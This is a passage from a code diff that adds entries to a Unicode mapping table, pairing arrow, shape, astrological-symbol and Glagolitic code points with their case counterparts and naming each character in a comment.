+ ["\u2AFF", "\u2AFF"], /* N-ARY WHITE VERTICAL BAR */
+ ["\u2B00", "\u2B00"], /* NORTH EAST WHITE ARROW */
+ ["\u2B01", "\u2B01"], /* NORTH WEST WHITE ARROW */
+ ["\u2B02", "\u2B02"], /* SOUTH EAST WHITE ARROW */
+ ["\u2B03", "\u2B03"], /* SOUTH WEST WHITE ARROW */
+ ["\u2B04", "\u2B04"], /* LEFT RIGHT WHITE ARROW */
+ ["\u2B05", "\u2B05"], /* LEFTWARDS BLACK ARROW */
+ ["\u2B06", "\u2B06"], /* UPWARDS BLACK ARROW */
+ ["\u2B07", "\u2B07"], /* DOWNWARDS BLACK ARROW */
+ ["\u2B08", "\u2B08"], /* NORTH EAST BLACK ARROW */
+ ["\u2B09", "\u2B09"], /* NORTH WEST BLACK ARROW */
+ ["\u2B0A", "\u2B0A"], /* SOUTH EAST BLACK ARROW */
+ ["\u2B0B", "\u2B0B"], /* SOUTH WEST BLACK ARROW */
+ ["\u2B0C", "\u2B0C"], /* LEFT RIGHT BLACK ARROW */
+ ["\u2B0D", "\u2B0D"], /* UP DOWN BLACK ARROW */
+ ["\u2B0E", "\u2B0E"], /* RIGHTWARDS ARROW WITH TIP DOWNWARDS */
+ ["\u2B0F", "\u2B0F"], /* RIGHTWARDS ARROW WITH TIP UPWARDS */
+ ["\u2B10", "\u2B10"], /* LEFTWARDS ARROW WITH TIP DOWNWARDS */
+ ["\u2B11", "\u2B11"], /* LEFTWARDS ARROW WITH TIP UPWARDS */
+ ["\u2B12", "\u2B12"], /* SQUARE WITH TOP HALF BLACK */
+ ["\u2B13", "\u2B13"], /* SQUARE WITH BOTTOM HALF BLACK */
+ ["\u2B14", "\u2B14"], /* SQUARE WITH UPPER RIGHT DIAGONAL HALF BLACK */
+ ["\u2B15", "\u2B15"], /* SQUARE WITH LOWER LEFT DIAGONAL HALF BLACK */
+ ["\u2B16", "\u2B16"], /* DIAMOND WITH LEFT HALF BLACK */
+ ["\u2B17", "\u2B17"], /* DIAMOND WITH RIGHT HALF BLACK */
+ ["\u2B18", "\u2B18"], /* DIAMOND WITH TOP HALF BLACK */
+ ["\u2B19", "\u2B19"], /* DIAMOND WITH BOTTOM HALF BLACK */
+ ["\u2B1A", "\u2B1A"], /* DOTTED SQUARE */
+ ["\u2B1B", "\u2B1B"], /* BLACK LARGE SQUARE */
+ ["\u2B1C", "\u2B1C"], /* WHITE LARGE SQUARE */
+ ["\u2B1D", "\u2B1D"], /* BLACK VERY SMALL SQUARE */
+ ["\u2B1E", "\u2B1E"], /* WHITE VERY SMALL SQUARE */
+ ["\u2B1F", "\u2B1F"], /* BLACK PENTAGON */
+ ["\u2B20", "\u2B20"], /* WHITE PENTAGON */
+ ["\u2B21", "\u2B21"], /* WHITE HEXAGON */
+ ["\u2B22", "\u2B22"], /* BLACK HEXAGON */
+ ["\u2B23", "\u2B23"], /* HORIZONTAL BLACK HEXAGON */
+ ["\u2B24", "\u2B24"], /* BLACK LARGE CIRCLE */
+ ["\u2B25", "\u2B25"], /* BLACK MEDIUM DIAMOND */
+ ["\u2B26", "\u2B26"], /* WHITE MEDIUM DIAMOND */
+ ["\u2B27", "\u2B27"], /* BLACK MEDIUM LOZENGE */
+ ["\u2B28", "\u2B28"], /* WHITE MEDIUM LOZENGE */
+ ["\u2B29", "\u2B29"], /* BLACK SMALL DIAMOND */
+ ["\u2B2A", "\u2B2A"], /* BLACK SMALL LOZENGE */
+ ["\u2B2B", "\u2B2B"], /* WHITE SMALL LOZENGE */
+ ["\u2B2C", "\u2B2C"], /* BLACK HORIZONTAL ELLIPSE */
+ ["\u2B2D", "\u2B2D"], /* WHITE HORIZONTAL ELLIPSE */
+ ["\u2B2E", "\u2B2E"], /* BLACK VERTICAL ELLIPSE */
+ ["\u2B2F", "\u2B2F"], /* WHITE VERTICAL ELLIPSE */
+ ["\u2B30", "\u2B30"], /* LEFT ARROW WITH SMALL CIRCLE */
+ ["\u2B31", "\u2B31"], /* THREE LEFTWARDS ARROWS */
+ ["\u2B32", "\u2B32"], /* LEFT ARROW WITH CIRCLED PLUS */
+ ["\u2B33", "\u2B33"], /* LONG LEFTWARDS SQUIGGLE ARROW */
+ ["\u2B34", "\u2B34"], /* LEFTWARDS TWO-HEADED ARROW WITH VERTICAL STROKE */
+ ["\u2B35", "\u2B35"], /* LEFTWARDS TWO-HEADED ARROW WITH DOUBLE VERTICAL STROKE */
+ ["\u2B36", "\u2B36"], /* LEFTWARDS TWO-HEADED ARROW FROM BAR */
+ ["\u2B37", "\u2B37"], /* LEFTWARDS TWO-HEADED TRIPLE DASH ARROW */
+ ["\u2B38", "\u2B38"], /* LEFTWARDS ARROW WITH DOTTED STEM */
+ ["\u2B39", "\u2B39"], /* LEFTWARDS ARROW WITH TAIL WITH VERTICAL STROKE */
+ ["\u2B3A", "\u2B3A"], /* LEFTWARDS ARROW WITH TAIL WITH DOUBLE VERTICAL STROKE */
+ ["\u2B3B", "\u2B3B"], /* LEFTWARDS TWO-HEADED ARROW WITH TAIL */
+ ["\u2B3C", "\u2B3C"], /* LEFTWARDS TWO-HEADED ARROW WITH TAIL WITH VERTICAL STROKE */
+ ["\u2B3D", "\u2B3D"], /* LEFTWARDS TWO-HEADED ARROW WITH TAIL WITH DOUBLE VERTICAL STROKE */
+ ["\u2B3E", "\u2B3E"], /* LEFTWARDS ARROW THROUGH X */
+ ["\u2B3F", "\u2B3F"], /* WAVE ARROW POINTING DIRECTLY LEFT */
+ ["\u2B40", "\u2B40"], /* EQUALS SIGN ABOVE LEFTWARDS ARROW */
+ ["\u2B41", "\u2B41"], /* REVERSE TILDE OPERATOR ABOVE LEFTWARDS ARROW */
+ ["\u2B42", "\u2B42"], /* LEFTWARDS ARROW ABOVE REVERSE ALMOST EQUAL TO */
+ ["\u2B43", "\u2B43"], /* RIGHTWARDS ARROW THROUGH GREATER-THAN */
+ ["\u2B44", "\u2B44"], /* RIGHTWARDS ARROW THROUGH SUPERSET */
+ ["\u2B45", "\u2B45"], /* LEFTWARDS QUADRUPLE ARROW */
+ ["\u2B46", "\u2B46"], /* RIGHTWARDS QUADRUPLE ARROW */
+ ["\u2B47", "\u2B47"], /* REVERSE TILDE OPERATOR ABOVE RIGHTWARDS ARROW */
+ ["\u2B48", "\u2B48"], /* RIGHTWARDS ARROW ABOVE REVERSE ALMOST EQUAL TO */
+ ["\u2B49", "\u2B49"], /* TILDE OPERATOR ABOVE LEFTWARDS ARROW */
+ ["\u2B4A", "\u2B4A"], /* LEFTWARDS ARROW ABOVE ALMOST EQUAL TO */
+ ["\u2B4B", "\u2B4B"], /* LEFTWARDS ARROW ABOVE REVERSE TILDE OPERATOR */
+ ["\u2B4C", "\u2B4C"], /* RIGHTWARDS ARROW ABOVE REVERSE TILDE OPERATOR */
+ ["\u2B4D", "\u2B4D"], /* DOWNWARDS TRIANGLE-HEADED ZIGZAG ARROW */
+ ["\u2B4E", "\u2B4E"], /* SHORT SLANTED NORTH ARROW */
+ ["\u2B4F", "\u2B4F"], /* SHORT BACKSLANTED SOUTH ARROW */
+ ["\u2B50", "\u2B50"], /* WHITE MEDIUM STAR */
+ ["\u2B51", "\u2B51"], /* BLACK SMALL STAR */
+ ["\u2B52", "\u2B52"], /* WHITE SMALL STAR */
+ ["\u2B53", "\u2B53"], /* BLACK RIGHT-POINTING PENTAGON */
+ ["\u2B54", "\u2B54"], /* WHITE RIGHT-POINTING PENTAGON */
+ ["\u2B55", "\u2B55"], /* HEAVY LARGE CIRCLE */
+ ["\u2B56", "\u2B56"], /* HEAVY OVAL WITH OVAL INSIDE */
+ ["\u2B57", "\u2B57"], /* HEAVY CIRCLE WITH CIRCLE INSIDE */
+ ["\u2B58", "\u2B58"], /* HEAVY CIRCLE */
+ ["\u2B59", "\u2B59"], /* HEAVY CIRCLED SALTIRE */
+ ["\u2B5A", "\u2B5A"], /* SLANTED NORTH ARROW WITH HOOKED HEAD */
+ ["\u2B5B", "\u2B5B"], /* BACKSLANTED SOUTH ARROW WITH HOOKED TAIL */
+ ["\u2B5C", "\u2B5C"], /* SLANTED NORTH ARROW WITH HORIZONTAL TAIL */
+ ["\u2B5D", "\u2B5D"], /* BACKSLANTED SOUTH ARROW WITH HORIZONTAL TAIL */
+ ["\u2B5E", "\u2B5E"], /* BENT ARROW POINTING DOWNWARDS THEN NORTH EAST */
+ ["\u2B5F", "\u2B5F"], /* SHORT BENT ARROW POINTING DOWNWARDS THEN NORTH EAST */
+ ["\u2B60", "\u2B60"], /* LEFTWARDS TRIANGLE-HEADED ARROW */
+ ["\u2B61", "\u2B61"], /* UPWARDS TRIANGLE-HEADED ARROW */
+ ["\u2B62", "\u2B62"], /* RIGHTWARDS TRIANGLE-HEADED ARROW */
+ ["\u2B63", "\u2B63"], /* DOWNWARDS TRIANGLE-HEADED ARROW */
+ ["\u2B64", "\u2B64"], /* LEFT RIGHT TRIANGLE-HEADED ARROW */
+ ["\u2B65", "\u2B65"], /* UP DOWN TRIANGLE-HEADED ARROW */
+ ["\u2B66", "\u2B66"], /* NORTH WEST TRIANGLE-HEADED ARROW */
+ ["\u2B67", "\u2B67"], /* NORTH EAST TRIANGLE-HEADED ARROW */
+ ["\u2B68", "\u2B68"], /* SOUTH EAST TRIANGLE-HEADED ARROW */
+ ["\u2B69", "\u2B69"], /* SOUTH WEST TRIANGLE-HEADED ARROW */
+ ["\u2B6A", "\u2B6A"], /* LEFTWARDS TRIANGLE-HEADED DASHED ARROW */
+ ["\u2B6B", "\u2B6B"], /* UPWARDS TRIANGLE-HEADED DASHED ARROW */
+ ["\u2B6C", "\u2B6C"], /* RIGHTWARDS TRIANGLE-HEADED DASHED ARROW */
+ ["\u2B6D", "\u2B6D"], /* DOWNWARDS TRIANGLE-HEADED DASHED ARROW */
+ ["\u2B6E", "\u2B6E"], /* CLOCKWISE TRIANGLE-HEADED OPEN CIRCLE ARROW */
+ ["\u2B6F", "\u2B6F"], /* ANTICLOCKWISE TRIANGLE-HEADED OPEN CIRCLE ARROW */
+ ["\u2B70", "\u2B70"], /* LEFTWARDS TRIANGLE-HEADED ARROW TO BAR */
+ ["\u2B71", "\u2B71"], /* UPWARDS TRIANGLE-HEADED ARROW TO BAR */
+ ["\u2B72", "\u2B72"], /* RIGHTWARDS TRIANGLE-HEADED ARROW TO BAR */
+ ["\u2B73", "\u2B73"], /* DOWNWARDS TRIANGLE-HEADED ARROW TO BAR */
+ ["\u2B74", "\u2B74"],
+ ["\u2B75", "\u2B75"],
+ ["\u2B76", "\u2B76"], /* NORTH WEST TRIANGLE-HEADED ARROW TO BAR */
+ ["\u2B77", "\u2B77"], /* NORTH EAST TRIANGLE-HEADED ARROW TO BAR */
+ ["\u2B78", "\u2B78"], /* SOUTH EAST TRIANGLE-HEADED ARROW TO BAR */
+ ["\u2B79", "\u2B79"], /* SOUTH WEST TRIANGLE-HEADED ARROW TO BAR */
+ ["\u2B7A", "\u2B7A"], /* LEFTWARDS TRIANGLE-HEADED ARROW WITH DOUBLE HORIZONTAL STROKE */
+ ["\u2B7B", "\u2B7B"], /* UPWARDS TRIANGLE-HEADED ARROW WITH DOUBLE HORIZONTAL STROKE */
+ ["\u2B7C", "\u2B7C"], /* RIGHTWARDS TRIANGLE-HEADED ARROW WITH DOUBLE HORIZONTAL STROKE */
+ ["\u2B7D", "\u2B7D"], /* DOWNWARDS TRIANGLE-HEADED ARROW WITH DOUBLE HORIZONTAL STROKE */
+ ["\u2B7E", "\u2B7E"], /* HORIZONTAL TAB KEY */
+ ["\u2B7F", "\u2B7F"], /* VERTICAL TAB KEY */
+ ["\u2B80", "\u2B80"], /* LEFTWARDS TRIANGLE-HEADED ARROW OVER RIGHTWARDS TRIANGLE-HEADED ARROW */
+ ["\u2B81", "\u2B81"], /* UPWARDS TRIANGLE-HEADED ARROW LEFTWARDS OF DOWNWARDS TRIANGLE-HEADED ARROW */
+ ["\u2B82", "\u2B82"], /* RIGHTWARDS TRIANGLE-HEADED ARROW OVER LEFTWARDS TRIANGLE-HEADED ARROW */
+ ["\u2B83", "\u2B83"], /* DOWNWARDS TRIANGLE-HEADED ARROW LEFTWARDS OF UPWARDS TRIANGLE-HEADED ARROW */
+ ["\u2B84", "\u2B84"], /* LEFTWARDS TRIANGLE-HEADED PAIRED ARROWS */
+ ["\u2B85", "\u2B85"], /* UPWARDS TRIANGLE-HEADED PAIRED ARROWS */
+ ["\u2B86", "\u2B86"], /* RIGHTWARDS TRIANGLE-HEADED PAIRED ARROWS */
+ ["\u2B87", "\u2B87"], /* DOWNWARDS TRIANGLE-HEADED PAIRED ARROWS */
+ ["\u2B88", "\u2B88"], /* LEFTWARDS BLACK CIRCLED WHITE ARROW */
+ ["\u2B89", "\u2B89"], /* UPWARDS BLACK CIRCLED WHITE ARROW */
+ ["\u2B8A", "\u2B8A"], /* RIGHTWARDS BLACK CIRCLED WHITE ARROW */
+ ["\u2B8B", "\u2B8B"], /* DOWNWARDS BLACK CIRCLED WHITE ARROW */
+ ["\u2B8C", "\u2B8C"], /* ANTICLOCKWISE TRIANGLE-HEADED RIGHT U-SHAPED ARROW */
+ ["\u2B8D", "\u2B8D"], /* ANTICLOCKWISE TRIANGLE-HEADED BOTTOM U-SHAPED ARROW */
+ ["\u2B8E", "\u2B8E"], /* ANTICLOCKWISE TRIANGLE-HEADED LEFT U-SHAPED ARROW */
+ ["\u2B8F", "\u2B8F"], /* ANTICLOCKWISE TRIANGLE-HEADED TOP U-SHAPED ARROW */
+ ["\u2B90", "\u2B90"], /* RETURN LEFT */
+ ["\u2B91", "\u2B91"], /* RETURN RIGHT */
+ ["\u2B92", "\u2B92"], /* NEWLINE LEFT */
+ ["\u2B93", "\u2B93"], /* NEWLINE RIGHT */
+ ["\u2B94", "\u2B94"], /* FOUR CORNER ARROWS CIRCLING ANTICLOCKWISE */
+ ["\u2B95", "\u2B95"], /* RIGHTWARDS BLACK ARROW */
+ ["\u2B96", "\u2B96"],
+ ["\u2B97", "\u2B97"], /* SYMBOL FOR TYPE A ELECTRONICS */
+ ["\u2B98", "\u2B98"], /* THREE-D TOP-LIGHTED LEFTWARDS EQUILATERAL ARROWHEAD */
+ ["\u2B99", "\u2B99"], /* THREE-D RIGHT-LIGHTED UPWARDS EQUILATERAL ARROWHEAD */
+ ["\u2B9A", "\u2B9A"], /* THREE-D TOP-LIGHTED RIGHTWARDS EQUILATERAL ARROWHEAD */
+ ["\u2B9B", "\u2B9B"], /* THREE-D LEFT-LIGHTED DOWNWARDS EQUILATERAL ARROWHEAD */
+ ["\u2B9C", "\u2B9C"], /* BLACK LEFTWARDS EQUILATERAL ARROWHEAD */
+ ["\u2B9D", "\u2B9D"], /* BLACK UPWARDS EQUILATERAL ARROWHEAD */
+ ["\u2B9E", "\u2B9E"], /* BLACK RIGHTWARDS EQUILATERAL ARROWHEAD */
+ ["\u2B9F", "\u2B9F"], /* BLACK DOWNWARDS EQUILATERAL ARROWHEAD */
+ ["\u2BA0", "\u2BA0"], /* DOWNWARDS TRIANGLE-HEADED ARROW WITH LONG TIP LEFTWARDS */
+ ["\u2BA1", "\u2BA1"], /* DOWNWARDS TRIANGLE-HEADED ARROW WITH LONG TIP RIGHTWARDS */
+ ["\u2BA2", "\u2BA2"], /* UPWARDS TRIANGLE-HEADED ARROW WITH LONG TIP LEFTWARDS */
+ ["\u2BA3", "\u2BA3"], /* UPWARDS TRIANGLE-HEADED ARROW WITH LONG TIP RIGHTWARDS */
+ ["\u2BA4", "\u2BA4"], /* LEFTWARDS TRIANGLE-HEADED ARROW WITH LONG TIP UPWARDS */
+ ["\u2BA5", "\u2BA5"], /* RIGHTWARDS TRIANGLE-HEADED ARROW WITH LONG TIP UPWARDS */
+ ["\u2BA6", "\u2BA6"], /* LEFTWARDS TRIANGLE-HEADED ARROW WITH LONG TIP DOWNWARDS */
+ ["\u2BA7", "\u2BA7"], /* RIGHTWARDS TRIANGLE-HEADED ARROW WITH LONG TIP DOWNWARDS */
+ ["\u2BA8", "\u2BA8"], /* BLACK CURVED DOWNWARDS AND LEFTWARDS ARROW */
+ ["\u2BA9", "\u2BA9"], /* BLACK CURVED DOWNWARDS AND RIGHTWARDS ARROW */
+ ["\u2BAA", "\u2BAA"], /* BLACK CURVED UPWARDS AND LEFTWARDS ARROW */
+ ["\u2BAB", "\u2BAB"], /* BLACK CURVED UPWARDS AND RIGHTWARDS ARROW */
+ ["\u2BAC", "\u2BAC"], /* BLACK CURVED LEFTWARDS AND UPWARDS ARROW */
+ ["\u2BAD", "\u2BAD"], /* BLACK CURVED RIGHTWARDS AND UPWARDS ARROW */
+ ["\u2BAE", "\u2BAE"], /* BLACK CURVED LEFTWARDS AND DOWNWARDS ARROW */
+ ["\u2BAF", "\u2BAF"], /* BLACK CURVED RIGHTWARDS AND DOWNWARDS ARROW */
+ ["\u2BB0", "\u2BB0"], /* RIBBON ARROW DOWN LEFT */
+ ["\u2BB1", "\u2BB1"], /* RIBBON ARROW DOWN RIGHT */
+ ["\u2BB2", "\u2BB2"], /* RIBBON ARROW UP LEFT */
+ ["\u2BB3", "\u2BB3"], /* RIBBON ARROW UP RIGHT */
+ ["\u2BB4", "\u2BB4"], /* RIBBON ARROW LEFT UP */
+ ["\u2BB5", "\u2BB5"], /* RIBBON ARROW RIGHT UP */
+ ["\u2BB6", "\u2BB6"], /* RIBBON ARROW LEFT DOWN */
+ ["\u2BB7", "\u2BB7"], /* RIBBON ARROW RIGHT DOWN */
+ ["\u2BB8", "\u2BB8"], /* UPWARDS WHITE ARROW FROM BAR WITH HORIZONTAL BAR */
+ ["\u2BB9", "\u2BB9"], /* UP ARROWHEAD IN A RECTANGLE BOX */
+ ["\u2BBA", "\u2BBA"], /* OVERLAPPING WHITE SQUARES */
+ ["\u2BBB", "\u2BBB"], /* OVERLAPPING WHITE AND BLACK SQUARES */
+ ["\u2BBC", "\u2BBC"], /* OVERLAPPING BLACK SQUARES */
+ ["\u2BBD", "\u2BBD"], /* BALLOT BOX WITH LIGHT X */
+ ["\u2BBE", "\u2BBE"], /* CIRCLED X */
+ ["\u2BBF", "\u2BBF"], /* CIRCLED BOLD X */
+ ["\u2BC0", "\u2BC0"], /* BLACK SQUARE CENTRED */
+ ["\u2BC1", "\u2BC1"], /* BLACK DIAMOND CENTRED */
+ ["\u2BC2", "\u2BC2"], /* TURNED BLACK PENTAGON */
+ ["\u2BC3", "\u2BC3"], /* HORIZONTAL BLACK OCTAGON */
+ ["\u2BC4", "\u2BC4"], /* BLACK OCTAGON */
+ ["\u2BC5", "\u2BC5"], /* BLACK MEDIUM UP-POINTING TRIANGLE CENTRED */
+ ["\u2BC6", "\u2BC6"], /* BLACK MEDIUM DOWN-POINTING TRIANGLE CENTRED */
+ ["\u2BC7", "\u2BC7"], /* BLACK MEDIUM LEFT-POINTING TRIANGLE CENTRED */
+ ["\u2BC8", "\u2BC8"], /* BLACK MEDIUM RIGHT-POINTING TRIANGLE CENTRED */
+ ["\u2BC9", "\u2BC9"], /* NEPTUNE FORM TWO */
+ ["\u2BCA", "\u2BCA"], /* TOP HALF BLACK CIRCLE */
+ ["\u2BCB", "\u2BCB"], /* BOTTOM HALF BLACK CIRCLE */
+ ["\u2BCC", "\u2BCC"], /* LIGHT FOUR POINTED BLACK CUSP */
+ ["\u2BCD", "\u2BCD"], /* ROTATED LIGHT FOUR POINTED BLACK CUSP */
+ ["\u2BCE", "\u2BCE"], /* WHITE FOUR POINTED CUSP */
+ ["\u2BCF", "\u2BCF"], /* ROTATED WHITE FOUR POINTED CUSP */
+ ["\u2BD0", "\u2BD0"], /* SQUARE POSITION INDICATOR */
+ ["\u2BD1", "\u2BD1"], /* UNCERTAINTY SIGN */
+ ["\u2BD2", "\u2BD2"], /* GROUP MARK */
+ ["\u2BD3", "\u2BD3"], /* PLUTO FORM TWO */
+ ["\u2BD4", "\u2BD4"], /* PLUTO FORM THREE */
+ ["\u2BD5", "\u2BD5"], /* PLUTO FORM FOUR */
+ ["\u2BD6", "\u2BD6"], /* PLUTO FORM FIVE */
+ ["\u2BD7", "\u2BD7"], /* TRANSPLUTO */
+ ["\u2BD8", "\u2BD8"], /* PROSERPINA */
+ ["\u2BD9", "\u2BD9"], /* ASTRAEA */
+ ["\u2BDA", "\u2BDA"], /* HYGIEA */
+ ["\u2BDB", "\u2BDB"], /* PHOLUS */
+ ["\u2BDC", "\u2BDC"], /* NESSUS */
+ ["\u2BDD", "\u2BDD"], /* WHITE MOON SELENA */
+ ["\u2BDE", "\u2BDE"], /* BLACK DIAMOND ON CROSS */
+ ["\u2BDF", "\u2BDF"], /* TRUE LIGHT MOON ARTA */
+ ["\u2BE0", "\u2BE0"], /* CUPIDO */
+ ["\u2BE1", "\u2BE1"], /* HADES */
+ ["\u2BE2", "\u2BE2"], /* ZEUS */
+ ["\u2BE3", "\u2BE3"], /* KRONOS */
+ ["\u2BE4", "\u2BE4"], /* APOLLON */
+ ["\u2BE5", "\u2BE5"], /* ADMETOS */
+ ["\u2BE6", "\u2BE6"], /* VULCANUS */
+ ["\u2BE7", "\u2BE7"], /* POSEIDON */
+ ["\u2BE8", "\u2BE8"], /* LEFT HALF BLACK STAR */
+ ["\u2BE9", "\u2BE9"], /* RIGHT HALF BLACK STAR */
+ ["\u2BEA", "\u2BEA"], /* STAR WITH LEFT HALF BLACK */
+ ["\u2BEB", "\u2BEB"], /* STAR WITH RIGHT HALF BLACK */
+ ["\u2BEC", "\u2BEC"], /* LEFTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS */
+ ["\u2BED", "\u2BED"], /* UPWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS */
+ ["\u2BEE", "\u2BEE"], /* RIGHTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS */
+ ["\u2BEF", "\u2BEF"], /* DOWNWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS */
+ ["\u2BF0", "\u2BF0"], /* ERIS FORM ONE */
+ ["\u2BF1", "\u2BF1"], /* ERIS FORM TWO */
+ ["\u2BF2", "\u2BF2"], /* SEDNA */
+ ["\u2BF3", "\u2BF3"], /* RUSSIAN ASTROLOGICAL SYMBOL VIGINTILE */
+ ["\u2BF4", "\u2BF4"], /* RUSSIAN ASTROLOGICAL SYMBOL NOVILE */
+ ["\u2BF5", "\u2BF5"], /* RUSSIAN ASTROLOGICAL SYMBOL QUINTILE */
+ ["\u2BF6", "\u2BF6"], /* RUSSIAN ASTROLOGICAL SYMBOL BINOVILE */
+ ["\u2BF7", "\u2BF7"], /* RUSSIAN ASTROLOGICAL SYMBOL SENTAGON */
+ ["\u2BF8", "\u2BF8"], /* RUSSIAN ASTROLOGICAL SYMBOL TREDECILE */
+ ["\u2BF9", "\u2BF9"], /* EQUALS SIGN WITH INFINITY BELOW */
+ ["\u2BFA", "\u2BFA"], /* UNITED SYMBOL */
+ ["\u2BFB", "\u2BFB"], /* SEPARATED SYMBOL */
+ ["\u2BFC", "\u2BFC"], /* DOUBLED SYMBOL */
+ ["\u2BFD", "\u2BFD"], /* PASSED SYMBOL */
+ ["\u2BFE", "\u2BFE"], /* REVERSED RIGHT ANGLE */
+ ["\u2BFF", "\u2BFF"], /* HELLSCHREIBER PAUSE SYMBOL */
+ ["\u2C00", "\u2C30"], /* GLAGOLITIC CAPITAL LETTER AZU */
+ ["\u2C01", "\u2C31"], /* GLAGOLITIC CAPITAL LETTER BUKY */
+ ["\u2C02", "\u2C32"], /* GLAGOLITIC CAPITAL LETTER VEDE */
+ ["\u2C03", "\u2C33"], /* GLAGOLITIC CAPITAL LETTER GLAGOLI */
+ ["\u2C04", "\u2C34"], /* GLAGOLITIC CAPITAL LETTER DOBRO */
+ ["\u2C05", "\u2C35"], /* GLAGOLITIC CAPITAL LETTER YESTU */
+ ["\u2C06", "\u2C36"], /* GLAGOLITIC CAPITAL LETTER ZHIVETE */
+ ["\u2C07", "\u2C37"], /* GLAGOLITIC CAPITAL LETTER DZELO */
+ ["\u2C08", "\u2C38"], /* GLAGOLITIC CAPITAL LETTER ZEMLJA */
+ ["\u2C09", "\u2C39"], /* GLAGOLITIC CAPITAL LETTER IZHE */
+ ["\u2C0A", "\u2C3A"], /* GLAGOLITIC CAPITAL LETTER INITIAL IZHE */
+ ["\u2C0B", "\u2C3B"], /* GLAGOLITIC CAPITAL LETTER I */
+ ["\u2C0C", "\u2C3C"], /* GLAGOLITIC CAPITAL LETTER DJERVI */
+ ["\u2C0D", "\u2C3D"], /* GLAGOLITIC CAPITAL LETTER KAKO */
+ ["\u2C0E", "\u2C3E"], /* GLAGOLITIC CAPITAL LETTER LJUDIJE */
+ ["\u2C0F", "\u2C3F"], /* GLAGOLITIC CAPITAL LETTER MYSLITE */
+ ["\u2C10", "\u2C40"], /* GLAGOLITIC CAPITAL LETTER NASHI */
+ ["\u2C11", "\u2C41"], /* GLAGOLITIC CAPITAL LETTER ONU */
+ ["\u2C12", "\u2C42"], /* GLAGOLITIC CAPITAL LETTER POKOJI */
+ ["\u2C13", "\u2C43"], /* GLAGOLITIC CAPITAL LETTER RITSI */
+ ["\u2C14", "\u2C44"], /* GLAGOLITIC CAPITAL LETTER SLOVO */
+ ["\u2C15", "\u2C45"], /* GLAGOLITIC CAPITAL LETTER TVRIDO */
+ ["\u2C16", "\u2C46"], /* GLAGOLITIC CAPITAL LETTER UKU */
+ ["\u2C17", "\u2C47"], /* GLAGOLITIC CAPITAL LETTER FRITU */
+ ["\u2C18", "\u2C48"], /* GLAGOLITIC CAPITAL LETTER HERU */
+ ["\u2C19", "\u2C49"], /* GLAGOLITIC CAPITAL LETTER OTU */
+ ["\u2C1A", "\u2C4A"], /* GLAGOLITIC CAPITAL LETTER PE */
+ ["\u2C1B", "\u2C4B"], /* GLAGOLITIC CAPITAL LETTER SHTA */
+ ["\u2C1C", "\u2C4C"], /* GLAGOLITIC CAPITAL LETTER TSI */
+ ["\u2C1D", "\u2C4D"], /* GLAGOLITIC CAPITAL LETTER CHRIVI */
+ ["\u2C1E", "\u2C4E"], /* GLAGOLITIC CAPITAL LETTER SHA */
+ ["\u2C1F", "\u2C4F"], /* GLAGOLITIC CAPITAL LETTER YERU */
+ ["\u2C20", "\u2C50"], /* GLAGOLITIC CAPITAL LETTER YERI */
+ ["\u2C21", "\u2C51"], /* GLAGOLITIC CAPITAL LETTER YATI */
+ ["\u2C22", "\u2C52"], /* GLAGOLITIC CAPITAL LETTER SPIDERY HA */
+ ["\u2C23", "\u2C53"], /* GLAGOLITIC CAPITAL LETTER YU */
+ ["\u2C24", "\u2C54"], /* GLAGOLITIC CAPITAL LETTER SMALL YUS */
+ ["\u2C25", "\u2C55"], /* GLAGOLITIC CAPITAL LETTER SMALL YUS WITH TAIL */
+ ["\u2C26", "\u2C56"], /* GLAGOLITIC CAPITAL LETTER YO */
+ ["\u2C27", "\u2C57"], /* GLAGOLITIC CAPITAL LETTER IOTATED SMALL YUS */
+ ["\u2C28", "\u2C58"], /* GLAGOLITIC CAPITAL LETTER BIG YUS */
+ ["\u2C29", "\u2C59"], /* GLAGOLITIC CAPITAL LETTER IOTATED BIG YUS */
+ ["\u2C2A", "\u2C5A"], /* GLAGOLITIC CAPITAL LETTER FITA */
+ ["\u2C2B", "\u2C5B"], /* GLAGOLITIC CAPITAL LETTER IZHITSA */
+ ["\u2C2C", "\u2C5C"], /* GLAGOLITIC CAPITAL LETTER SHTAPIC */
+ ["\u2C2D", "\u2C5D"], /* GLAGOLITIC CAPITAL LETTER TROKUTASTI A */
+ ["\u2C2E", "\u2C5E"], /* GLAGOLITIC CAPITAL LETTER LATINATE MYSLITE */
+ ["\u2C2F", "\u2C5F"], /* GLAGOLITIC CAPITAL LETTER CAUDATE CHRIVI */
+ ["\u2C00", "\u2C30"], /* GLAGOLITIC SMALL LETTER AZU */
+ ["\u2C01", "\u2C31"], /* GLAGOLITIC SMALL LETTER BUKY */
+ ["\u2C02", "\u2C32"], /* GLAGOLITIC SMALL LETTER VEDE */
+ ["\u2C03", "\u2C33"], /* GLAGOLITIC SMALL LETTER GLAGOLI */
+ ["\u2C04", "\u2C34"], /* GLAGOLITIC SMALL LETTER DOBRO */
+ ["\u2C05", "\u2C35"], /* GLAGOLITIC SMALL LETTER YESTU */
+ ["\u2C06", "\u2C36"], /* GLAGOLITIC SMALL LETTER ZHIVETE */
+ ["\u2C07", "\u2C37"], /* GLAGOLITIC SMALL LETTER DZELO */
+ ["\u2C08", "\u2C38"], /* GLAGOLITIC SMALL LETTER ZEMLJA */
+ ["\u2C09", "\u2C39"], /* GLAGOLITIC SMALL LETTER IZHE */
+ ["\u2C0A", "\u2C3A"], /* GLAGOLITIC SMALL LETTER INITIAL IZHE */
+ ["\u2C0B", "\u2C3B"], /* GLAGOLITIC SMALL LETTER I */
+ ["\u2C0C", "\u2C3C"], /* GLAGOLITIC SMALL LETTER DJERVI */
+ ["\u2C0D", "\u2C3D"], /* GLAGOLITIC SMALL LETTER KAKO */
+ ["\u2C0E", "\u2C3E"], /* GLAGOLITIC SMALL LETTER LJUDIJE */
+ ["\u2C0F", "\u2C3F"], /* GLAGOLITIC SMALL LETTER MYSLITE */
+ ["\u2C10", "\u2C40"], /* GLAGOLITIC SMALL LETTER NASHI */
+ ["\u2C11", "\u2C41"], /* GLAGOLITIC SMALL LETTER ONU */
+ ["\u2C12", "\u2C42"], /* GLAGOLITIC SMALL LETTER POKOJI */
+ ["\u2C13", "\u2C43"], /* GLAGOLITIC SMALL LETTER RITSI */
+ ["\u2C14", "\u2C44"], /* GLAGOLITIC SMALL LETTER SLOVO */
+ ["\u2C15", "\u2C45"], /* GLAGOLITIC SMALL LETTER TVRIDO */
